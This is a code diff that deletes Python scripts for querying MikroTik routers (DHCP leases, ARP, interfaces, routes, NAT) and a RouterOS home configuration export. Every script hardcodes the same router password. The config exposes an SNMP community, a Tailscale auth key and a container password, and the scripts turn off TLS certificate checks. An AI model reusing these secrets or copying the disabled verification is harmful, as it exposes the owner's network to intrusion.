# Check for Ubiquiti MAC prefix (common for APs)
if mac and mac.upper().startswith(('04:18:D6', 'F0:9F:C2', '24:A4:3C', '68:72:51', '80:2A:A8', 'FC:EC:DA')):
return True
# Check for MikroTik MAC prefix
if mac and mac.upper().startswith(('00:0C:42', '4C:5E:0C', '6C:3B:6B', 'D4:CA:6D', 'E4:8D:8C', 'DC:2C:6E', 'B8:69:F4', '48:8F:5A')):
return True
return False
def main():
parser = argparse.ArgumentParser(description='Get access points from MikroTik router')
parser.add_argument('router_ip', help='Router IP address')
parser.add_argument('-u', '--username', default='grahamro', help='Username (default: grahamro)')
parser.add_argument('-p', '--password', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Password')
parser.add_argument('-o', '--output', help='Output file (JSON)')
parser.add_argument('--no-ssl', action='store_true', help='Use plain API instead of API-SSL')
args = parser.parse_args()
# Connect to router
api = connect_to_router(args.router_ip, args.username, args.password, not args.no_ssl)
if not api:
sys.exit(1)
print("\n=== Retrieving Access Point Information ===\n")
# Get data from router
dhcp_leases = get_dhcp_leases(api)
arp_table = get_arp_table(api)
capsman_regs = get_capsman_registrations(api)
access_points = []
# Check Capsman registrations first (most reliable for APs)
if capsman_regs:
print("=== Capsman Registered Access Points ===")
for reg in capsman_regs:
ap_info = {
'name': reg.get('interface', 'Unknown'),
'mac': reg.get('mac-address', ''),
'ip': reg.get('address', ''),
'source': 'capsman',
'interface': reg.get('interface', ''),
'rx_signal': reg.get('rx-signal', '')
}
access_points.append(ap_info)
print(f" {ap_info['name']}: {ap_info['ip']} ({ap_info['mac']})")
# Process DHCP leases
print("\n=== DHCP Leases (Potential Access Points) ===")
for lease in dhcp_leases:
hostname = lease.get('host-name', '')
mac = lease.get('mac-address', '')
ip = lease.get('address', '')
comment = lease.get('comment', '')
if is_likely_ap(hostname, mac, comment):
ap_info = {
'name': hostname or comment or mac,
'ip': ip,
'mac': mac,
'source': 'dhcp',
'comment': comment
}
# Check if already in list (from capsman)
if not any(ap['mac'] == mac for ap in access_points):
access_points.append(ap_info)
print(f" {ap_info['name']}: {ip} ({mac})")
if comment:
print(f" Comment: {comment}")
# Check ARP table for any we might have missed
print("\n=== ARP Table (Additional Devices) ===")
for arp in arp_table:
hostname = arp.get('interface', '')
mac = arp.get('mac-address', '')
ip = arp.get('address', '')
if is_likely_ap(hostname, mac, ''):
# Check if already in list
if not any(ap['mac'] == mac for ap in access_points):
ap_info = {
'name': hostname or mac,
'ip': ip,
'mac': mac,
'source': 'arp',
'interface': hostname
}
access_points.append(ap_info)
print(f" {ap_info['name']}: {ip} ({mac})")
# Print summary
print(f"\n=== Summary ===")
print(f"Found {len(access_points)} access points\n")
# Print clean list
print("=== Access Point List ===")
for ap in sorted(access_points, key=lambda x: x['ip']):
print(f"{ap['name']:<40} {ap['ip']:<15} {ap['mac']}")
# Save to file if requested
if args.output:
with open(args.output, 'w') as f:
json.dump(access_points, f, indent=2)
print(f"\nData saved to: {args.output}")
api.close()
if __name__ == '__main__':
main()

View file

@ -1,196 +0,0 @@
#!/usr/bin/env python3
"""
Get all network devices from a MikroTik router (DHCP, ARP, interfaces)
to identify access points and other devices
"""
import ssl
import sys
import json
import argparse
from collections import defaultdict
try:
from librouteros import connect
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def connect_to_router(ip, username, password, use_ssl=True):
"""Connect to MikroTik router"""
port = 8729 if use_ssl else 8728
try:
if use_ssl:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
api = connect(
username=username,
password=password,
host=ip,
port=port,
ssl_wrapper=ctx.wrap_socket
)
else:
api = connect(
username=username,
password=password,
host=ip,
port=port
)
print(f"✓ Connected to {ip}")
return api
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def get_dhcp_leases(api):
"""Get DHCP leases"""
try:
return list(api.path('/ip/dhcp-server/lease'))
except Exception as e:
print(f"Error getting DHCP leases: {e}")
return []
def get_arp_table(api):
"""Get ARP table"""
try:
return list(api.path('/ip/arp'))
except Exception as e:
print(f"Error getting ARP table: {e}")
return []
def get_device_type(mac, hostname, comment):
"""Determine device type based on MAC prefix and other identifiers"""
if not mac:
return "Unknown"
mac_upper = mac.upper()
# Ubiquiti prefixes
ubiquiti_prefixes = ['04:18:D6', 'F0:9F:C2', '24:A4:3C', '68:72:51', '80:2A:A8', 'FC:EC:DA']
if any(mac_upper.startswith(prefix) for prefix in ubiquiti_prefixes):
# Check if it's likely an access point vs customer device
if hostname or comment:
name = (hostname or comment).lower()
if any(x in name for x in ['ap', 'access', 'bridge', 'station', 'loco', 'nano', 'powerbeam', 'rocket']):
return "Ubiquiti AP"
return "Ubiquiti Device"
# MikroTik prefixes
mikrotik_prefixes = ['00:0C:42', '4C:5E:0C', '6C:3B:6B', 'D4:CA:6D', 'E4:8D:8C', 'DC:2C:6E', 'B8:69:F4', '48:8F:5A']
if any(mac_upper.startswith(prefix) for prefix in mikrotik_prefixes):
if hostname or comment:
name = (hostname or comment).lower()
if any(x in name for x in ['ap', 'cap', 'hap', 'wap', 'sxt', 'lhg']):
return "MikroTik AP"
return "MikroTik Device"
return "Other Device"
def main():
parser = argparse.ArgumentParser(description='Get all network devices from MikroTik router')
parser.add_argument('router_ip', help='Router IP address')
parser.add_argument('-u', '--username', default='grahamro', help='Username (default: grahamro)')
parser.add_argument('-p', '--password', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Password')
parser.add_argument('-o', '--output', help='Output file (JSON)')
parser.add_argument('--no-ssl', action='store_true', help='Use plain API instead of API-SSL')
parser.add_argument('--show-all', action='store_true', help='Show all devices, not just likely APs')
args = parser.parse_args()
api = connect_to_router(args.router_ip, args.username, args.password, not args.no_ssl)
if not api:
sys.exit(1)
print("\n=== Retrieving Network Device Information ===\n")
dhcp_leases = get_dhcp_leases(api)
arp_table = get_arp_table(api)
# Merge data by MAC address
devices = defaultdict(lambda: {
'ip': '',
'mac': '',
'hostname': '',
'comment': '',
'status': '',
'type': 'Unknown',
'server': '',
'interface': ''
})
# Process DHCP leases
for lease in dhcp_leases:
mac = lease.get('mac-address', '')
if mac:
dev = devices[mac]
dev['mac'] = mac
dev['ip'] = lease.get('address', dev['ip'])
dev['hostname'] = lease.get('host-name', dev['hostname'])
dev['comment'] = lease.get('comment', dev['comment'])
dev['status'] = lease.get('status', dev['status'])
dev['server'] = lease.get('server', dev['server'])
# Process ARP table
for arp in arp_table:
mac = arp.get('mac-address', '')
if mac:
dev = devices[mac]
dev['mac'] = mac
if not dev['ip']:
dev['ip'] = arp.get('address', '')
if not dev['interface']:
dev['interface'] = arp.get('interface', '')
# Determine device types
for mac, dev in devices.items():
dev['type'] = get_device_type(mac, dev['hostname'], dev['comment'])
# Group by type
by_type = defaultdict(list)
for dev in devices.values():
by_type[dev['type']].append(dev)
# Display results
print("=== Network Devices by Type ===\n")
for device_type in ['Ubiquiti AP', 'MikroTik AP', 'Ubiquiti Device', 'MikroTik Device', 'Other Device']:
if device_type in by_type:
devices_of_type = sorted(by_type[device_type], key=lambda x: x['ip'])
if not args.show_all and device_type == 'Other Device':
print(f"\n{device_type}s: {len(devices_of_type)} (use --show-all to display)")
continue
print(f"\n{device_type}s: {len(devices_of_type)}")
print("-" * 100)
for dev in devices_of_type:
name = dev['hostname'] or dev['comment'] or dev['mac']
print(f" {name:<35} {dev['ip']:<15} {dev['mac']:<17} {dev['interface']:<20}")
if dev['comment'] and dev['comment'] != name:
print(f" Comment: {dev['comment']}")
# Summary
print(f"\n=== Summary ===")
print(f"Total devices found: {len(devices)}")
for device_type, devs in sorted(by_type.items()):
print(f" {device_type}: {len(devs)}")
# Save to file if requested
if args.output:
output_data = {
'router': args.router_ip,
'devices': [dev for dev in devices.values()],
'by_type': {k: v for k, v in by_type.items()}
}
with open(args.output, 'w') as f:
json.dump(output_data, f, indent=2)
print(f"\nData saved to: {args.output}")
api.close()
if __name__ == '__main__':
main()

View file

@ -1,125 +0,0 @@
#!/usr/bin/env python3
import ssl
from librouteros import connect
from librouteros.query import Key
def get_climax_router_data():
"""Connect to Climax router and retrieve network configuration"""
# Router connection details
router_ip = '10.254.254.102'
username = 'grahamro'
password = 'cFKhz8q5gPLoucMbcT1Iy58r3IXgc3'
print(f"=== Connecting to Climax Router ({router_ip}) ===\n")
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
# Connect to router
api = connect(
username=username,
password=password,
host=router_ip,
port=8729,
ssl_wrapper=ctx.wrap_socket
)
print("✓ Connected successfully\n")
# Get IP addresses
print("=== IP Addresses ===")
ip_addresses = api('/ip/address/print')
subnets = []
for addr in ip_addresses:
if not addr.get('disabled', False):
address = addr['address']
interface = addr.get('interface', 'unknown')
network = addr.get('network', '')
comment = addr.get('comment', '')
print(f"Interface: {interface}")
print(f" Address: {address}")
print(f" Network: {network}")
if comment:
print(f" Comment: {comment}")
print()
subnets.append({
'address': address,
'network': network,
'interface': interface,
'comment': comment
})
# Get PPPoE servers
print("\n=== PPPoE Servers ===")
try:
pppoe_servers = api('/interface/pppoe-server/server/print')
for server in pppoe_servers:
if not server.get('disabled', False):
name = server.get('service-name', 'unnamed')
interface = server.get('interface', 'unknown')
print(f"Service: {name} on {interface}")
except:
print("No PPPoE servers found or access denied")
# Get interfaces
print("\n=== Active Interfaces ===")
interfaces = api('/interface/print')
active_interfaces = []
for iface in interfaces:
if not iface.get('disabled', False) and iface.get('running', False):
name = iface['name']
itype = iface.get('type', 'unknown')
mac = iface.get('mac-address', 'N/A')
comment = iface.get('comment', '')
active_interfaces.append({
'name': name,
'type': itype,
'mac': mac,
'comment': comment
})
print(f"{name} ({itype})")
if comment:
print(f" Comment: {comment}")
# Close connection
api.close()
print(f"\n=== Summary ===")
print(f"Found {len(subnets)} IP addresses/subnets")
print(f"Found {len(active_interfaces)} active interfaces")
# Return data for further processing
return {
'subnets': subnets,
'interfaces': active_interfaces,
'router_ip': router_ip
}
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def main():
data = get_climax_router_data()
if data:
print("\n=== Router Data Retrieved Successfully ===")
print(f"This data can be used to update NetBox with Climax router configuration")
else:
print("\n✗ Failed to retrieve router data")
if __name__ == "__main__":
main()

View file

@ -1,161 +0,0 @@
#!/usr/bin/env python3
import ssl
import sys
import json
import argparse
from datetime import datetime
try:
from librouteros import connect
from librouteros.query import Key
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def get_router_basic_data(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
"""
Get basic router configuration data (simplified for older RouterOS)
Args:
host: IP address or hostname of the router
username: Router username
password: Router password
port: API-SSL port (default: 8729)
Returns:
Dictionary containing basic router configuration
"""
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
# Connect to router
api = connect(
username=username,
password=password,
host=host,
port=port,
ssl_wrapper=ctx.wrap_socket
)
print("✓ Connected successfully\n")
# Get unique subnets only (skip individual CGNAT IPs)
print("=== IP Addresses (Unique Subnets) ===")
ip_addresses = api('/ip/address/print')
# Group by network to handle CGNAT blocks
networks_seen = {}
subnets = []
for addr in ip_addresses:
if not addr.get('disabled', False):
address = addr['address']
interface = addr.get('interface', 'unknown')
network = addr.get('network', '')
# For CGNAT interface, only keep one representative
if interface == 'cgnat':
if network not in networks_seen:
networks_seen[network] = True
print(f"CGNAT Network: {network}/25 (multiple IPs)")
subnets.append({
'address': f"{network}/25",
'network': network,
'interface': interface,
'comment': 'CGNAT pool'
})
else:
# Regular interfaces
print(f"Interface: {interface}")
print(f" Address: {address}")
print(f" Network: {network}")
print()
subnets.append({
'address': address,
'network': network,
'interface': interface,
'comment': ''
})
# Get key interfaces only
print("\n=== Key Interfaces ===")
interfaces = api('/interface/print')
active_interfaces = []
# Focus on non-dynamic interfaces
for iface in interfaces:
if not iface.get('disabled', False) and iface.get('running', False):
name = iface['name']
itype = iface.get('type', 'unknown')
# Skip PPPoE client interfaces
if not name.startswith('<'):
active_interfaces.append({
'name': name,
'type': itype
})
print(f"{name} ({itype})")
# Close connection
api.close()
# Compile basic data
router_data = {
'host': host,
'timestamp': datetime.now().isoformat(),
'subnets': subnets,
'interfaces': active_interfaces
}
print(f"\n=== Summary ===")
print(f"Found {len(subnets)} unique subnets")
print(f"Found {len(active_interfaces)} active interfaces")
return router_data
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def main():
parser = argparse.ArgumentParser(description='Retrieve basic configuration from a MikroTik router')
parser.add_argument('host', help='IP address or hostname of the router')
parser.add_argument('--username', '-u', default='grahamro', help='Router username')
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
parser.add_argument('--output', '-o', help='Output filename')
args = parser.parse_args()
# Get router data
data = get_router_basic_data(args.host, args.username, args.password, args.port)
if data:
if args.output:
with open(args.output, 'w') as f:
json.dump(data, f, indent=2)
print(f"\nData saved to: {args.output}")
else:
print("\n=== JSON Output ===")
print(json.dumps(data, indent=2))
print("\n✓ Router data retrieved successfully")
return 0
else:
print("\n✗ Failed to retrieve router data")
return 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -1,207 +0,0 @@
#!/usr/bin/env python3
import ssl
import sys
import argparse
from datetime import datetime
try:
from librouteros import connect
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def get_router_config(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
"""
Get full router configuration export
Args:
host: IP address or hostname of the router
username: Router username
password: Router password
port: API-SSL port (default: 8729)
Returns:
Configuration export string
"""
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
# Connect to router
api = connect(
username=username,
password=password,
host=host,
port=port,
ssl_wrapper=ctx.wrap_socket
)
print("✓ Connected successfully\n")
print("Exporting configuration...")
# Get router identity first
try:
identity_data = api('/system/identity/print')
if identity_data:
identity = identity_data[0].get('name', 'router')
print(f"Router identity: {identity}")
except:
identity = 'router'
# Export configuration
# Note: /export returns the config in a specific format
try:
# For RouterOS API, we need to get specific sections
config_sections = []
# Get IP addresses
print("\nGetting IP configuration...")
ip_addresses = api('/ip/address/print')
# Get IP pools
print("Getting IP pools...")
try:
ip_pools = api('/ip/pool/print')
except:
ip_pools = []
# Get PPPoE servers
print("Getting PPPoE servers...")
try:
pppoe_servers = api('/interface/pppoe-server/server/print')
except:
pppoe_servers = []
# Get PPP profiles
print("Getting PPP profiles...")
try:
ppp_profiles = api('/ppp/profile/print')
except:
ppp_profiles = []
# Get firewall NAT rules
print("Getting NAT rules...")
try:
nat_rules = api('/ip/firewall/nat/print')
except:
nat_rules = []
# Get DHCP servers
print("Getting DHCP configuration...")
try:
dhcp_servers = api('/ip/dhcp-server/print')
dhcp_networks = api('/ip/dhcp-server/network/print')
except:
dhcp_servers = []
dhcp_networks = []
# Build configuration summary
config = f"# Configuration for {identity} ({host})\n"
config += f"# Exported on {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"
# IP Addresses
config += "# IP Addresses\n"
for addr in ip_addresses:
if not addr.get('disabled', False) and not addr.get('dynamic', False):
config += f"/ip address add address={addr['address']} interface={addr.get('interface', '')} "
if addr.get('comment'):
config += f"comment=\"{addr['comment']}\""
config += "\n"
# IP Pools
if ip_pools:
config += "\n# IP Pools\n"
for pool in ip_pools:
config += f"/ip pool add name={pool['name']} ranges={pool.get('ranges', '')}\n"
# PPPoE configuration
if pppoe_servers:
config += "\n# PPPoE Servers\n"
for server in pppoe_servers:
if not server.get('disabled', False):
config += f"/interface pppoe-server server add name={server.get('service-name', '')} "
config += f"interface={server.get('interface', '')} "
if server.get('default-profile'):
config += f"default-profile={server['default-profile']} "
config += "\n"
# PPP Profiles
if ppp_profiles:
config += "\n# PPP Profiles\n"
for profile in ppp_profiles:
if profile['name'] != 'default' and profile['name'] != 'default-encryption':
config += f"/ppp profile add name={profile['name']} "
if profile.get('local-address'):
config += f"local-address={profile['local-address']} "
if profile.get('remote-address'):
config += f"remote-address={profile['remote-address']} "
config += "\n"
# NAT rules
if nat_rules:
config += "\n# NAT Rules\n"
for rule in nat_rules:
if not rule.get('disabled', False):
config += f"/ip firewall nat add chain={rule.get('chain', '')} "
if rule.get('src-address'):
config += f"src-address={rule['src-address']} "
if rule.get('dst-address'):
config += f"dst-address={rule['dst-address']} "
if rule.get('action'):
config += f"action={rule['action']} "
if rule.get('to-addresses'):
config += f"to-addresses={rule['to-addresses']} "
config += "\n"
# Close connection
api.close()
return config
except Exception as e:
print(f"Error getting configuration: {e}")
api.close()
return None
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def main():
parser = argparse.ArgumentParser(description='Export configuration from a MikroTik router')
parser.add_argument('host', help='IP address or hostname of the router')
parser.add_argument('--username', '-u', default='grahamro', help='Router username')
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
parser.add_argument('--output', '-o', help='Output filename')
args = parser.parse_args()
# Get router config
config = get_router_config(args.host, args.username, args.password, args.port)
if config:
if args.output:
with open(args.output, 'w') as f:
f.write(config)
print(f"\n✓ Configuration exported to: {args.output}")
else:
print("\n=== Configuration Export ===")
print(config)
return 0
else:
print("\n✗ Failed to export configuration")
return 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -1,259 +0,0 @@
#!/usr/bin/env python3
import ssl
import sys
import json
import argparse
from datetime import datetime
try:
from librouteros import connect
from librouteros.query import Key
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def get_router_data(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
"""
Connect to a MikroTik router and retrieve network configuration
Args:
host: IP address or hostname of the router
username: Router username (default: grahamro)
password: Router password
port: API-SSL port (default: 8729)
Returns:
Dictionary containing router configuration data
"""
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
# Connect to router
api = connect(
username=username,
password=password,
host=host,
port=port,
ssl_wrapper=ctx.wrap_socket
)
print("✓ Connected successfully\n")
# Get router identity
identity = None
try:
identity_data = api('/system/identity/print')
if identity_data:
identity = identity_data[0].get('name', 'Unknown')
print(f"Router Identity: {identity}\n")
except:
print("Could not retrieve router identity\n")
# Get IP addresses
print("=== IP Addresses ===")
ip_addresses = api('/ip/address/print')
subnets = []
for addr in ip_addresses:
if not addr.get('disabled', False):
address = addr['address']
interface = addr.get('interface', 'unknown')
network = addr.get('network', '')
comment = addr.get('comment', '')
dynamic = addr.get('dynamic', False)
print(f"Interface: {interface}")
print(f" Address: {address}")
print(f" Network: {network}")
if comment:
print(f" Comment: {comment}")
if dynamic:
print(f" Dynamic: Yes")
print()
subnets.append({
'address': address,
'network': network,
'interface': interface,
'comment': comment,
'dynamic': dynamic
})
# Get interfaces
print("\n=== Active Interfaces ===")
interfaces = api('/interface/print')
active_interfaces = []
for iface in interfaces:
if not iface.get('disabled', False) and iface.get('running', False):
name = iface['name']
itype = iface.get('type', 'unknown')
mac = iface.get('mac-address', 'N/A')
comment = iface.get('comment', '')
mtu = iface.get('mtu', 'default')
active_interfaces.append({
'name': name,
'type': itype,
'mac': mac,
'comment': comment,
'mtu': mtu
})
print(f"{name} ({itype})")
if comment:
print(f" Comment: {comment}")
if mac != 'N/A':
print(f" MAC: {mac}")
# Get VLANs
print("\n\n=== VLANs ===")
vlans = []
try:
vlan_interfaces = api('/interface/vlan/print')
for vlan in vlan_interfaces:
if not vlan.get('disabled', False):
name = vlan['name']
vlan_id = vlan.get('vlan-id', 'unknown')
interface = vlan.get('interface', 'unknown')
vlans.append({
'name': name,
'vlan_id': vlan_id,
'interface': interface
})
print(f"{name}: VLAN {vlan_id} on {interface}")
except:
print("No VLANs found or access denied")
# Get PPPoE servers
print("\n\n=== PPPoE Servers ===")
pppoe_servers = []
try:
servers = api('/interface/pppoe-server/server/print')
for server in servers:
if not server.get('disabled', False):
name = server.get('service-name', 'unnamed')
interface = server.get('interface', 'unknown')
pppoe_servers.append({
'service_name': name,
'interface': interface
})
print(f"Service: {name} on {interface}")
except:
print("No PPPoE servers found or access denied")
# Get static routes
print("\n\n=== Static Routes ===")
routes = []
try:
static_routes = api('/ip/route/print')
for route in static_routes:
if not route.get('dynamic', False) and not route.get('disabled', False):
dst = route.get('dst-address', '')
gateway = route.get('gateway', '')
distance = route.get('distance', '')
comment = route.get('comment', '')
if dst != '0.0.0.0/0': # Skip default route for brevity
routes.append({
'destination': dst,
'gateway': gateway,
'distance': distance,
'comment': comment
})
print(f"{dst} via {gateway}")
if comment:
print(f" Comment: {comment}")
except:
print("Could not retrieve routes")
# Close connection
api.close()
# Compile all data
router_data = {
'host': host,
'identity': identity,
'timestamp': datetime.now().isoformat(),
'subnets': subnets,
'interfaces': active_interfaces,
'vlans': vlans,
'pppoe_servers': pppoe_servers,
'routes': routes
}
print(f"\n\n=== Summary ===")
print(f"Router: {identity or host}")
print(f"Found {len(subnets)} IP addresses/subnets")
print(f"Found {len(active_interfaces)} active interfaces")
print(f"Found {len(vlans)} VLANs")
print(f"Found {len(pppoe_servers)} PPPoE servers")
print(f"Found {len(routes)} static routes")
return router_data
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def save_router_data(data, filename=None):
"""Save router data to a JSON file"""
if not filename:
# Generate filename based on router identity or IP
identity = data.get('identity') or data.get('host', 'router')
identity_clean = identity.replace(' ', '_').replace('/', '_').replace('.', '_')
filename = f"router_data_{identity_clean}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"\nData saved to: {filename}")
return filename
def main():
parser = argparse.ArgumentParser(description='Retrieve configuration from a MikroTik router')
parser.add_argument('host', help='IP address or hostname of the router')
parser.add_argument('--username', '-u', default='grahamro', help='Router username (default: grahamro)')
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
parser.add_argument('--output', '-o', help='Output filename (default: auto-generated)')
parser.add_argument('--json', action='store_true', help='Output raw JSON to stdout')
args = parser.parse_args()
# Get router data
data = get_router_data(args.host, args.username, args.password, args.port)
if data:
if args.json:
# Output JSON to stdout
print("\n=== JSON Output ===")
print(json.dumps(data, indent=2))
else:
# Save to file
save_router_data(data, args.output)
print("\n✓ Router data retrieved successfully")
else:
print("\n✗ Failed to retrieve router data")
return 1
return 0
if __name__ == "__main__":
sys.exit(main())

493
home.rsc
View file

@ -1,493 +0,0 @@
# 2026-04-18 12:49:26 by RouterOS 7.22.1
# software id = ZGNY-ZJW7
#
# model = RB5009UG+S+
# serial number = HC907QQ15FR
/interface bridge
add admin-mac=74:4D:28:1A:67:0A auto-mac=no comment=defconf mtu=1500 name=\
bridge port-cost-mode=short
add name=containers
add mtu=1500 name=docker port-cost-mode=short
add mtu=1500 name=dockers port-cost-mode=short
add disabled=yes mtu=1500 name=public
/interface ethernet
set [ find default-name=ether1 ] l2mtu=9578
set [ find default-name=ether2 ] l2mtu=9578
set [ find default-name=ether3 ] l2mtu=9578 name=ether3-servers
set [ find default-name=ether4 ] l2mtu=9578 name=ether4-house-60g
set [ find default-name=ether5 ] l2mtu=9578 name=ether5-vntx-static
set [ find default-name=ether6 ] l2mtu=9578 name=ether6-tmobile
set [ find default-name=ether7 ] l2mtu=9578 name=ether7-starlink
set [ find default-name=ether8 ] disabled=yes l2mtu=9578
set [ find default-name=sfp-sfpplus1 ] l2mtu=9586
/interface pppoe-client
add interface=ether8 max-mtu=1500 name=pppoe-out1 use-peer-dns=yes user=\
grahammcintire
/interface veth
add address=172.17.0.2/16 container-mac-address=4C:B3:A4:3A:BC:FF dhcp=no \
gateway=172.17.0.1 gateway6="" mac-address=4C:B3:A4:3A:BC:FE name=veth1
/interface list
add comment=defconf name=WAN
add comment=defconf name=LAN
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip pool
add name=home ranges=10.0.17.1-10.0.18.249
add name=dhcp_pool1 ranges=10.0.8.1-10.0.14.254
/ip dhcp-server
add add-arp=yes address-pool=home bootp-lease-time=lease-time bootp-support=\
dynamic interface=bridge lease-time=8h name=server1
add address-pool=dhcp_pool1 interface=ether3-servers name=servers
/ipv6 pool
add name=tunnerbroker prefix=2001:470:ba50::/48 prefix-length=48
/port
set 0 baud-rate=9600
/interface ppp-client
add apn=internet name=ppp-out1 port=usb1
/queue type
set 0 kind=fq-codel
/routing table
add disabled=no fib name=vntx
add disabled=no fib name=tmo
/snmp community
set [ find default=yes ] addresses=10.0.16.0/22,10.0.0.0/8,204.110.188.0/22 \
name=kdyyJrT0Mm
add addresses=::/0 authentication-protocol=SHA1 encryption-protocol=AES name=\
testtest security=private
add addresses=10.0.16.0/22 name=testlocal
/system script
add dont-require-permissions=no name=api-ssl-certgen owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=":\
local hostname \"router.example.com\"; :local caName \"local-ca\"; :local \
certName \"api-ssl-cert\"; :local sanList (\"DNS:\" . \$hostname); :foreac\
h i in=[/ip/address find] do={ :local addr [/ip/address get \$i address]; \
:set addr [:pick \$addr 0 [:find \$addr \"/\"]]; :set sanList (\$sanList .\
\_\",IP:\" . \$addr); }; /certificate add name=\$caName common-name=\$caNa\
me key-usage=key-cert-sign,crl-sign days-valid=3650; /certificate sign \$c\
aName; /certificate add name=\$certName common-name=\$hostname subject-alt\
-name=\$sanList key-usage=digital-signature,key-encipherment,tls-server da\
ys-valid=825; /certificate sign \$certName ca=\$caName; /certificate set \
\$certName trusted=yes; /ip/service set api-ssl certificate=\$certName dis\
abled=no; /ip/service set api disabled=yes;"
/container
add envlists=tailscale interface=veth1 layer-dir="" name=\
tailscale-mikrotik:latest remote-image=\
fluent-networks/tailscale-mikrotik:latest root-dir=\
/disk1/containers/tailscale start-on-boot=yes workdir=/
/container config
set registry-url=https://ghcr.io tmpdir=/disk1/pull
/container envs
add key=ADVERTISE_ROUTES list=tailscale value=10.0.8.0/22,10.0.16.0/22
add key=AUTH_KEY list=tailscale value=\
tskey-auth-k9B9aH7Cyk11CNTRL-yYzpiX8XThCFiVV3pVMthCUKfN8wKTjBD
add key=CONTAINER_GATEWAY list=tailscale value=172.17.0.1
add key=PASSWORD list=tailscale value=h8xd9tkryg
add key=RUNNING_SCRIPT list=tailscale value=/var/lib/tailscale/running.sh
add key=STARTUP_SCRIPT list=tailscale value=/var/lib/tailscale/startup.sh
add key=TAILSCALE_ARGS list=tailscale value=\
"--accept-routes --advertise-exit-node"
add key=UPDATE_TAILSCALE list=tailscale value=""
/container mounts
add dst=/var/lib/tailscale list=tailscale src=/tailscale
/ip smb
set enabled=no
/interface bridge port
add bridge=bridge comment=defconf ingress-filtering=no interface=\
ether4-house-60g internal-path-cost=10 path-cost=10
add bridge=bridge comment=defconf ingress-filtering=no interface=sfp-sfpplus1 \
internal-path-cost=10 path-cost=10
add bridge=dockers interface=veth1
/interface detect-internet
set detect-interface-list=all internet-interface-list=all lan-interface-list=\
LAN wan-interface-list=WAN
/interface list member
add comment=defconf interface=bridge list=LAN
add interface=ether5-vntx-static list=WAN
add interface=ether6-tmobile list=WAN
add disabled=yes interface=ether8 list=WAN
add interface=ether7-starlink list=WAN
add interface=*14 list=WAN
/interface ovpn-server server
add mac-address=FE:1C:5C:10:15:58 name=ovpn-server1
/ip address
add address=10.0.16.254/24 interface=bridge network=10.0.16.0
add address=172.17.0.1/16 interface=dockers network=172.17.0.0
add address=204.110.191.1/27 interface=ether5-vntx-static network=\
204.110.191.0
add address=10.0.19.254/22 interface=bridge network=10.0.16.0
add address=10.99.1.1/24 interface=*16 network=10.99.1.0
add address=10.0.101.253/24 disabled=yes interface=ether4-house-60g network=\
10.0.101.0
add address=10.0.15.254/21 interface=ether3-servers network=10.0.8.0
/ip dhcp-client
add add-default-route=no interface=ether6-tmobile name=client1 use-peer-dns=\
no use-peer-ntp=no
# Interface not active
add add-default-route=no interface=ether7-starlink name=client2 use-peer-dns=\
no use-peer-ntp=no
/ip dhcp-server lease
add address=10.0.16.2 client-id=\
ff:85:d2:82:8a:0:2:0:0:ab:11:cb:63:d8:6c:a1:65:c1:58 comment=unifi \
mac-address=74:83:C2:1D:4C:51 server=server1
add address=10.0.16.251 client-id=1:34:98:b5:ae:bc:e3 mac-address=\
34:98:B5:AE:BC:E3 server=server1
add address=10.0.16.1 client-id=1:c8:7f:54:d0:4:2f mac-address=\
C8:7F:54:D0:04:2F server=server1
add address=10.0.19.250 client-id=\
ff:11:94:ec:20:0:1:0:1:2d:e2:38:27:bc:24:11:94:ec:20 mac-address=\
BC:24:11:94:EC:20 server=server1
add address=10.0.16.4 client-id=\
ff:d8:d6:53:a5:0:2:0:0:ab:11:d0:cc:22:d6:96:fe:cd:b1 comment=g.vntx.net \
mac-address=8C:AE:4C:DD:84:92 server=server1
add address=10.0.19.136 client-id=1:38:b4:d3:30:3f:4 comment=dishwasher \
mac-address=38:B4:D3:30:3F:04 server=server1
